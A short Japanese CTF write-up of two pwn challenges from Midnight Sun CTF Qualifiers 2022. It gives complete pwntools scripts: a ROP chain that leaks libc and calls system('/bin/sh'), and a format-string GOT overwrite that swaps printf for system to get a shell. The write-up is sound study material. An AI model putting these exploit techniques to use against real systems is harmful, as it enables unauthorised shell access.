Midnight Sun CTF Qualifiers 2022 Writeups
まえがき
1人で2時間出てpwnのspeed問題を2問解きました。
コンテストの時間を2日とかにしてほしい・・・
[pwn 50pts] speed1
出ました、ROPです。
前回のSpaceHeroesCTFのVaderでもやりましたね。
今回はlibcが配られてるのでlibc_baseを求めてsystemを起動するだけです。
from pwn import * conn = remote("speed-01.hfsc.tf", "61000") elf = ELF('./speed1') libc = ELF('./libc.so.6') offset = 0x28 pop_rdi_ret = 0x004012b3 start_addr = 0x4010d0 ret = 0x0040101a payload = b"" payload += b"\x90"*offset payload += pack(pop_rdi_ret, '64') payload += pack(elf.got["puts"], '64') payload += pack(elf.plt["puts"], '64') payload += pack(start_addr, '64') conn.recvuntil(": ") conn.sendline(payload) leak_addr = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all') log.info("leak address : "+hex(leak_addr)) libc_base = leak_addr - libc.symbols["puts"] log.info("libc base : "+hex(libc_base)) log.info("libc_puts : "+hex(libc.symbols["puts"])) binsh_addr = libc_base + next(libc.search(b"/bin/sh")) system_addr = libc_base + libc.symbols["system"] payload = b"" payload += b"\x90"*offset payload += pack(ret, '64') payload += pack(pop_rdi_ret, '64') payload += pack(binsh_addr, '64') payload += pack(system_addr, '64') conn.sendline(payload) conn.interactive()
[pwn 50pts] speed2
BOFはありませんがprintfの扱いが悪いためFSAできます。
前回のSpaceHeroesCTFのGuardians of the Galaxyのときのようにflagを読みだせれば良いのですが
flag.txtをfopenしていないため厳しそうです。
ここでchecksecを使ってみるとPartial RELROなことからGOT Overwriteができることがわかります。
方針としては、libcが配られているためprintfをGOT Overwriteしてlibc内のsystemに書き換えてprintf(str) -> system(str)
を実行することを考えます。
このとき入力のstrを"/bin/sh"としてやれば"/bin/sh"が出力されるかわりにシェルが起動します。
1度目のFSAでexitをGOT Overwriteして関数の先頭アドレスに飛ばします。
こうすることで何回でもFSAが実行できるようにできます。
2度目のFSAでprintfをsystemに書き換え方針の攻撃を実行します。
from pwn import * context.clear(arch="i386") conn = remote("speed-02.hfsc.tf", "21000") elf = ELF('./speed2') libc = ELF('./libc.so.6') conn.recvuntil(": ") offset = 7 exit_addr = 0x804c020 start_addr = 0x8049140 writes = {exit_addr: start_addr} numbwritten = 0 write_size = "byte" payload = b"" payload += fmtstr_payload(offset, writes, numbwritten, write_size) conn.sendline(payload) conn.recvuntil(": ") payload = b"" payload += b"%2$p" conn.sendline(payload) leak_addr = int(conn.recvline(), 16) log.info("leak address : "+hex(leak_addr)) libc_base = leak_addr-libc.symbols["_IO_2_1_stdin_"] log.info("libc_base : "+hex(libc_base)) system_addr = libc_base+libc.symbols["system"] offset = 7 printf_addr = 0x804c00c writes = {printf_addr: system_addr} numbwritten = 0 write_size = "byte" payload = b"" payload += fmtstr_payload(offset, writes, numbwritten, write_size) conn.sendline(payload) conn.interactive()
終わりに
speed2は私の苦手なFSAでGOT Overwriteする問題でしたが解けてよかったです(コンテスト中では初かも)。
実際に自明なアドレスにFSAしてみてpwndbgで覗いてみたり、実行中のリークしたアドレスを覗いてみたりしました。
やはり手を動かすと理解が深まりますね。
今回のCTFも楽しかったです。